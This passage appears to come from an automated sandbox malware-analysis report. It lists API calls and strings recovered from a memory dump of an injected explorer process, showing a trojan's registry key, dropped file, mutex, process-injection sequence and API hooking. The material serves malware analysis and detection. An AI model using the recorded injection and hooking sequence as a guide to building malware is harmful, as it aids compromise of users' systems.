    • GetProcAddress.KERNEL32(?), ref: 00E377CA
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E37BA3, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 155
    APIs
      • Part of subcall function 00E3755C: GetModuleHandleW.KERNEL32(?), ref: 00E37588
      • Part of subcall function 00E3755C: GetModuleHandleW.KERNEL32(00000000), ref: 00E375A8
      • Part of subcall function 00E3755C: LoadLibraryA.KERNEL32 ref: 00E3760C
      • Part of subcall function 00E3755C: GetModuleHandleW.KERNEL32(?), ref: 00E37667
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E3771E
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E3772F
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E37743
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E37754
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32 ref: 00E37765
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E37776
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E37787
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E37798
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E377A9
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E377BA
      • Part of subcall function 00E3755C: GetProcAddress.KERNEL32(?), ref: 00E377CA
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00E37BDA
    • GetProcessHeap.KERNEL32 ref: 00E37BE9
    • WSAStartup.WS2_32(00000202,?), ref: 00E37C1C
      • Part of subcall function 00E4977E: GetTickCount.KERNEL32 ref: 00E4977E
    • InitializeCriticalSection.KERNEL32(00E645A0), ref: 00E37C3D
    • GetCurrentProcess.KERNEL32 ref: 00E37C55
    • GetModuleFileNameExW.PSAPI ref: 00E37C5C
      • Part of subcall function 00E44EBF: CharLowerW.USER32 ref: 00E44EF2
      • Part of subcall function 00E50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E504BA
      • Part of subcall function 00E373FB: GetModuleHandleW.KERNEL32(?), ref: 00E37412
      • Part of subcall function 00E373FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00E37451
      • Part of subcall function 00E373FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00E37467
      • Part of subcall function 00E5C68C: GlobalMemoryStatusEx.KERNEL32(?), ref: 00E5C6DD
      • Part of subcall function 00E5C68C: GetVolumeInformationA.KERNEL32(00E37CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00E5C71A
    • CreateEventW.KERNEL32(00E62AFC,00000001,00000000,00000000), ref: 00E37CD5
      • Part of subcall function 00E49AB7: OpenProcessToken.ADVAPI32(00E62AC0,00000008,00E62AC0), ref: 00E49AC7
      • Part of subcall function 00E49AB7: GetTokenInformation.ADVAPI32(00E62AC0,0000000C,00000000,00000004,00E62F90), ref: 00E49AF3
      • Part of subcall function 00E49AB7: CloseHandle.KERNEL32(00E62AC0), ref: 00E49B08
    • GetLengthSid.ADVAPI32(?,000000FF,00E62AC0,00E62F90), ref: 00E37D0A
      • Part of subcall function 00E3787A: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00E37898
      • Part of subcall function 00E3787A: PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 00E378A7
      • Part of subcall function 00E3787A: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00E378BB
    • GetCurrentProcessId.KERNEL32 ref: 00E37D37
      • Part of subcall function 00E378DB: IsBadReadPtr.KERNEL32(?,?), ref: 00E37909
      • Part of subcall function 00E4CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00E4CC37
      • Part of subcall function 00E3792D: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00E3796A
      • Part of subcall function 00E3792D: lstrcmpiW.KERNEL32(?,?), ref: 00E37994
      • Part of subcall function 00E379BF: InitializeCriticalSection.KERNEL32(00E64170), ref: 00E379D6
      • Part of subcall function 00E379BF: InitializeCriticalSection.KERNEL32(00E63FEC), ref: 00E37A0B
      • Part of subcall function 00E379BF: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E37A33
      • Part of subcall function 00E379BF: ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00E37A50
      • Part of subcall function 00E379BF: CloseHandle.KERNEL32 ref: 00E37A61
      • Part of subcall function 00E379BF: InitializeCriticalSection.KERNEL32(00E63F6C), ref: 00E37AA8
      • Part of subcall function 00E379BF: GetModuleHandleW.KERNEL32(?), ref: 00E37ACF
      • Part of subcall function 00E379BF: GetModuleHandleW.KERNEL32(?), ref: 00E37AD8
    Strings
    • SOFTWARE\Microsoft\Fyfe, xrefs: 00E37DBA
    • C:\Documents and Settings\Administrator\Application Data\Ozna\afmic.kua, xrefs: 00E37DB4
    • Global\{F0DDC10A-AA1F-173E-A961-10791936558D}, xrefs: 00E37DCC
    • SOFTWARE\Microsoft\Fyfe, xrefs: 00E37DD2
    • \, xrefs: 00E37C71
    • {B60D3CFB-57EE-51EE-A961-10791936558D}, xrefs: 00E37D82
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E58F82, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 197
    APIs
      • Part of subcall function 00E37ED5: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E37EF6
    • InterlockedExchange.KERNEL32(00E64188,00000002,-00000007), ref: 00E58FB5
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
      • Part of subcall function 00E58964: PathRemoveFileSpecW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data\Ozna), ref: 00E589A0
      • Part of subcall function 00E58964: PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00E589C0
      • Part of subcall function 00E58964: GetFileAttributesW.KERNEL32(C:\Documents and Settings\Administrator\Application Data\Ozna\afmic.kua), ref: 00E589E3
    • GetFileAttributesW.KERNEL32(?), ref: 00E59079
    • CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 00E590A1
      • Part of subcall function 00E4D92E: GetFileSizeEx.KERNEL32(?,?), ref: 00E4D93A
    • CloseHandle.KERNEL32 ref: 00E590BF
    • lstrcmpiW.KERNEL32(?,?), ref: 00E590EF
    • MoveFileExW.KERNEL32(?,?,0000000B), ref: 00E59114
      • Part of subcall function 00E4FC68: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E4FC91
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E58AB9: GetTickCount.KERNEL32 ref: 00E58BB5
      • Part of subcall function 00E58AB9: GetUserDefaultUILanguage.KERNEL32 ref: 00E58C06
      • Part of subcall function 00E58AB9: GetModuleFileNameW.KERNEL32(00000000,?,00000103,00000000), ref: 00E58C4B
      • Part of subcall function 00E58AB9: GetUserNameExW.SECUR32(00000002,?,00000104), ref: 00E58C91
      • Part of subcall function 00E59500: WaitForSingleObject.KERNEL32(?,00001388), ref: 00E59556
      • Part of subcall function 00E59500: Sleep.KERNEL32(00001388), ref: 00E59565
      • Part of subcall function 00E4E6B7: FlushFileBuffers.KERNEL32 ref: 00E4E6C3
      • Part of subcall function 00E4E6B7: CloseHandle.KERNEL32 ref: 00E4E6CB
    • WaitForSingleObject.KERNEL32(00007530), ref: 00E591BF
    • InterlockedExchange.KERNEL32(00E64188,?), ref: 00E591DB
      • Part of subcall function 00E4BD18: ReleaseMutex.KERNEL32 ref: 00E4BD1C
    • GetFileAttributesW.KERNEL32(C:\Documents and Settings\Administrator\Application Data\Ozna\afmic.kua), ref: 00E591F7
    • InterlockedExchange.KERNEL32(00E64188,00000000), ref: 00E5920C
      • Part of subcall function 00E4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4D95E
      • Part of subcall function 00E4D955: DeleteFileW.KERNEL32(?), ref: 00E4D968
    Strings
    • C:\Documents and Settings\Administrator\Application Data\Ozna\afmic.kua, xrefs: 00E591F1, 00E591F6
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E56A3F, Relevance: 15.3, APIs: 10, Instructions: 310
    APIs
    • Sleep.KERNEL32(00000BB8), ref: 00E56A79
      • Part of subcall function 00E50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E504BA
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00E56AB1
    • #6.OLEAUT32(00000004,?,?), ref: 00E56D3F
      • Part of subcall function 00E5697C: StringFromGUID2.OLE32(00E37254,?,00000032), ref: 00E56995
      • Part of subcall function 00E5697C: CoGetObject.OLE32(?,?,00E37264,?), ref: 00E569F0
    • CoCreateInstance.OLE32(00E37254,00000000,00004401,00E37264,?), ref: 00E56B0D
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00E56BE1
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
    • #2.OLEAUT32(?,?,?,?,?), ref: 00E56C17
    • #2.OLEAUT32(?,?,?), ref: 00E56C2B
    • CoCreateInstance.OLE32(00E37274,00000000,00004401,00E37284,?), ref: 00E56CC6
    • #6.OLEAUT32(?,?,?), ref: 00E56D27
    • #6.OLEAUT32(00000004,?,?,?), ref: 00E56D2C
      • Part of subcall function 00E4EBA1: CoUninitialize.OLE32 ref: 00E4EBAF
      • Part of subcall function 00E50533: CreateMutexW.KERNEL32(00E62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00E50556
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E388DB, Relevance: 13.6, APIs: 9, Instructions: 128
    APIs
      • Part of subcall function 00E37BA3: HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00E37BDA
      • Part of subcall function 00E37BA3: GetProcessHeap.KERNEL32 ref: 00E37BE9
      • Part of subcall function 00E37BA3: WSAStartup.WS2_32(00000202,?), ref: 00E37C1C
      • Part of subcall function 00E37BA3: InitializeCriticalSection.KERNEL32(00E645A0), ref: 00E37C3D
      • Part of subcall function 00E37BA3: GetCurrentProcess.KERNEL32 ref: 00E37C55
      • Part of subcall function 00E37BA3: GetModuleFileNameExW.PSAPI ref: 00E37C5C
      • Part of subcall function 00E37BA3: CreateEventW.KERNEL32(00E62AFC,00000001,00000000,00000000), ref: 00E37CD5
      • Part of subcall function 00E37BA3: GetLengthSid.ADVAPI32(?,000000FF,00E62AC0,00E62F90), ref: 00E37D0A
      • Part of subcall function 00E37BA3: GetCurrentProcessId.KERNEL32 ref: 00E37D37
    • SetErrorMode.KERNEL32(00008007), ref: 00E38902
    • GetCommandLineW.KERNEL32 ref: 00E3890C
    • CommandLineToArgvW.SHELL32 ref: 00E38913
    • ExitProcess.KERNEL32(00000000,00000000), ref: 00E389B3
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,00000040,?), ref: 00E38A5C
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,?,?), ref: 00E38A75
    • CreateThread.KERNEL32(00000000,00000000,Function_00008533,00000000), ref: 00E38A96
    • NtClose.NTDLL(?,?,00000000), ref: 00E38A9E
    • Sleep.KERNEL32(0000000A), ref: 00E38AAD
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4BB34, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
    APIs
    • InitializeSecurityDescriptor.ADVAPI32(00E62B08,00000001), ref: 00E4BB3E
    • SetSecurityDescriptorDacl.ADVAPI32(00E62B08,00000001,00000000,00000000), ref: 00E4BB4F
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00E62F90,00000000), ref: 00E4BB65
    • GetSecurityDescriptorSacl.ADVAPI32(00E62F90,?,00E37CC0,00000000), ref: 00E4BB81
    • SetSecurityDescriptorSacl.ADVAPI32(00E62B08,?,00E37CC0,00000000), ref: 00E4BB95
    • LocalFree.KERNEL32(00E62F90), ref: 00E4BBA2
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E379BF, Relevance: 12.1, APIs: 8, Instructions: 134
    APIs
    • InitializeCriticalSection.KERNEL32(00E64170), ref: 00E379D6
    • InitializeCriticalSection.KERNEL32(00E63FEC), ref: 00E37A0B
      • Part of subcall function 00E380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00E3817A
    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E37A33
    • ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00E37A50
    • CloseHandle.KERNEL32 ref: 00E37A61
      • Part of subcall function 00E57234: InterlockedExchange.KERNEL32(00E64140,00000000), ref: 00E57252
      • Part of subcall function 00E57234: InterlockedExchange.KERNEL32(00E64120,00000000), ref: 00E5725A
      • Part of subcall function 00E57234: InitializeCriticalSection.KERNEL32(00E640F8), ref: 00E57261
      • Part of subcall function 00E57234: CoInitializeEx.OLE32(00000000,00000002), ref: 00E5735E
      • Part of subcall function 00E57234: CoCreateInstance.OLE32(00E31690,00000000,00004401,00E31680,?), ref: 00E57394
      • Part of subcall function 00E38F85: GetModuleHandleW.KERNEL32(?), ref: 00E38FAB
    • InitializeCriticalSection.KERNEL32(00E63F6C), ref: 00E37AA8
      • Part of subcall function 00E5BBC0: GetCurrentThreadId.KERNEL32 ref: 00E5BBCA
      • Part of subcall function 00E5BBC0: GetThreadDesktop.USER32 ref: 00E5BBD1
      • Part of subcall function 00E5BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00E5BBEB
    • GetModuleHandleW.KERNEL32(?), ref: 00E37ACF
    • GetModuleHandleW.KERNEL32(?), ref: 00E37AD8
      • Part of subcall function 00E56387: GetProcAddress.KERNEL32(?,?), ref: 00E563DB
      • Part of subcall function 00E56387: GetProcAddress.KERNEL32(?,?), ref: 00E563E7
      • Part of subcall function 00E56387: GetProcAddress.KERNEL32(?,?), ref: 00E563F3
      • Part of subcall function 00E56387: GetProcAddress.KERNEL32(?,?), ref: 00E563FF
      • Part of subcall function 00E56387: GetProcAddress.KERNEL32(?,?), ref: 00E5640B
      • Part of subcall function 00E55E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00E55E37
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E56F66, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E56F87
    • Process32FirstW.KERNEL32(?,0269FD4C), ref: 00E56FB0
      • Part of subcall function 00E37E34: CreateMutexW.KERNEL32(00E62AFC,00000001,0269FF20), ref: 00E37E7C
    • OpenProcess.KERNEL32(00000400,00000000,?), ref: 00E5700B
    • CloseHandle.KERNEL32(?), ref: 00E570AC
      • Part of subcall function 00E49AB7: OpenProcessToken.ADVAPI32(00E62AC0,00000008,00E62AC0), ref: 00E49AC7
      • Part of subcall function 00E49AB7: GetTokenInformation.ADVAPI32(00E62AC0,0000000C,00000000,00000004,00E62F90), ref: 00E49AF3
      • Part of subcall function 00E49AB7: CloseHandle.KERNEL32(00E62AC0), ref: 00E49B08
    • CloseHandle.KERNEL32 ref: 00E57028
    • GetLengthSid.ADVAPI32(?,?,?,0269FF78), ref: 00E5703B
      • Part of subcall function 00E480EB: HeapAlloc.KERNEL32(00000008,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?,?), ref: 00E4810D
      • Part of subcall function 00E480EB: HeapReAlloc.KERNEL32(00000008,?,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?), ref: 00E4811E
      • Part of subcall function 00E56DB7: OpenProcess.KERNEL32(?,00000000,?), ref: 00E56DE0
      • Part of subcall function 00E56DB7: CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00E56E2B
      • Part of subcall function 00E56DB7: MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00000000), ref: 00E56E4E
      • Part of subcall function 00E56DB7: NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00E56E60
      • Part of subcall function 00E56DB7: ReadProcessMemory.KERNEL32(?,?,00000000,00000000,00000000), ref: 00E56E7C
      • Part of subcall function 00E56DB7: NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00E56EAE
      • Part of subcall function 00E56DB7: NtMapViewOfSection.NTDLL(?,?,0269FF78,00000000), ref: 00E56ECC
      • Part of subcall function 00E56DB7: FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00E56EDA
      • Part of subcall function 00E56DB7: NtResumeProcess.NTDLL(?,?,?,00000000), ref: 00E56EE5
      • Part of subcall function 00E56DB7: Sleep.KERNEL32(00000064), ref: 00E56EF2
      • Part of subcall function 00E56DB7: UnmapViewOfFile.KERNEL32(00000000), ref: 00E56EFB
      • Part of subcall function 00E56DB7: CloseHandle.KERNEL32(?), ref: 00E56F04
      • Part of subcall function 00E56DB7: CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00E56F1D
      • Part of subcall function 00E56DB7: WaitForSingleObject.KERNEL32(?,00002710), ref: 00E56F2F
      • Part of subcall function 00E56DB7: CloseHandle.KERNEL32 ref: 00E56F36
      • Part of subcall function 00E56DB7: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00E56F4F
      • Part of subcall function 00E56DB7: CloseHandle.KERNEL32 ref: 00E56F56
    • Process32NextW.KERNEL32(?,0000022C), ref: 00E570B8
    • CloseHandle.KERNEL32(?), ref: 00E570C9
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E57234, Relevance: 7.7, APIs: 5, Instructions: 184
    APIs
    • InterlockedExchange.KERNEL32(00E64140,00000000), ref: 00E57252
    • InterlockedExchange.KERNEL32(00E64120,00000000), ref: 00E5725A
    • InitializeCriticalSection.KERNEL32(00E640F8), ref: 00E57261
      • Part of subcall function 00E4C768: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 00E4C780
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00E5735E
    • CoCreateInstance.OLE32(00E31690,00000000,00004401,00E31680,?), ref: 00E57394
      • Part of subcall function 00E4EBA1: CoUninitialize.OLE32 ref: 00E4EBAF
      • Part of subcall function 00E4C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00E4C80C
      • Part of subcall function 00E4C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00E4C826
      • Part of subcall function 00E4C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00E4C835
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4CD7C, Relevance: 7.6, APIs: 5, Instructions: 108
    APIs
      • Part of subcall function 00E4CD37: VirtualQueryEx.KERNEL32(000000FF,?,?,0000001C), ref: 00E4CD4C
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 00E4CDA9
    • ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 00E4CDCE
    • WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00E4CE47
    • WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 00E4CE6F
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 00E4CE86
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5667A, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86
    APIs
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • NtQueryInformationProcess.NTDLL(?,00000000,?,00000018), ref: 00E566A7
    • GetProcessImageFileNameW.PSAPI(?,?,00000104), ref: 00E566CB
      • Part of subcall function 00E44EBF: CharLowerW.USER32 ref: 00E44EF2
    • CloseHandle.KERNEL32 ref: 00E56760
      • Part of subcall function 00E49B15: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00E49B22
      • Part of subcall function 00E49B15: Thread32First.KERNEL32(?,?), ref: 00E49B3D
      • Part of subcall function 00E49B15: Thread32Next.KERNEL32(?,0000001C), ref: 00E49B53
      • Part of subcall function 00E49B15: CloseHandle.KERNEL32 ref: 00E49B5E
      • Part of subcall function 00E37E34: CreateMutexW.KERNEL32(00E62AFC,00000001,0269FF20), ref: 00E37E7C
      • Part of subcall function 00E37F10: DuplicateHandle.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,00000002), ref: 00E37F40
      • Part of subcall function 00E37F10: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00E3802C
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E49B15, Relevance: 6.0, APIs: 4, Instructions: 36
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00E49B22
    • Thread32First.KERNEL32(?,?), ref: 00E49B3D
    • Thread32Next.KERNEL32(?,0000001C), ref: 00E49B53
    • CloseHandle.KERNEL32 ref: 00E49B5E
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E3A3B0, Relevance: 4.6, APIs: 3, Instructions: 59
    APIs
      • Part of subcall function 00E4B57B: socket.WS2_32(?,00000001,00000006), ref: 00E4B584
      • Part of subcall function 00E4B57B: bind.WS2_32 ref: 00E4B5A4
      • Part of subcall function 00E4B57B: listen.WS2_32(?,00000000), ref: 00E4B5B3
      • Part of subcall function 00E4B57B: #3.WS2_32(?,?,?,?,?,00000001,00000006,?,00E3A401,7FFFFFFF,00000000,?), ref: 00E4B5BE
    • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E3A40E
    • WSAEventSelect.WS2_32(?,?,00000008), ref: 00E3A420
    • CloseHandle.KERNEL32(?), ref: 00E3A431
      • Part of subcall function 00E4B8E5: shutdown.WS2_32(?,00000002), ref: 00E4B8ED
      • Part of subcall function 00E4B8E5: #3.WS2_32(?,?,00000002,00E3A43E), ref: 00E4B8F4
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4C842, Relevance: 4.6, APIs: 3, Instructions: 54
    APIs
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 00E4C867
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 00E4C896
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • RegCloseKey.ADVAPI32(?), ref: 00E4C8B6
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4C7EE, Relevance: 4.5, APIs: 3, Instructions: 36
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00E4C80C
    • RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00E4C826
    • RegCloseKey.ADVAPI32(00000000), ref: 00E4C835
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E50533, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
    APIs
    • CreateMutexW.KERNEL32(00E62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00E50556
      • Part of subcall function 00E50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E504BA
      • Part of subcall function 00E4BC91: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E4BC94
      • Part of subcall function 00E4BC91: CloseHandle.KERNEL32 ref: 00E4BCA6
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4C62D, Relevance: 3.0, APIs: 2, Instructions: 22
    APIs
    • SetLastError.KERNEL32(0000009B,00E383E2,00000000,Function_0002026D,00000000), ref: 00E4C637
    • CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E4C65A
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4C7BB, Relevance: 3.0, APIs: 2, Instructions: 20
    APIs
    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00E5C5CF,?), ref: 00E4C7D3
    • RegCloseKey.ADVAPI32(?), ref: 00E4C7E1
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E48148, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 9
    APIs
    • HeapAlloc.KERNEL32(00000000,0,,00E481A5,00E38067,00E32C30,00001000), ref: 00E48159
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E55E00, Relevance: 1.6, APIs: 1, Instructions: 62
    APIs
    • VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00E55E37
      • Part of subcall function 00E55D09: VirtualProtectEx.KERNEL32(000000FF,?,0000001E,00000040,7C80E4DD), ref: 00E55D4B
      • Part of subcall function 00E55D09: WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00E55D61
      • Part of subcall function 00E55D09: VirtualProtectEx.KERNEL32(000000FF,?,0000001E,7C80E4DD,7C80E4DD), ref: 00E55D7B
      • Part of subcall function 00E4CD7C: VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 00E4CDA9
      • Part of subcall function 00E4CD7C: ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 00E4CDCE
      • Part of subcall function 00E4CD7C: WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00E4CE47
      • Part of subcall function 00E4CD7C: WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 00E4CE6F
      • Part of subcall function 00E4CD7C: VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 00E4CE86
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
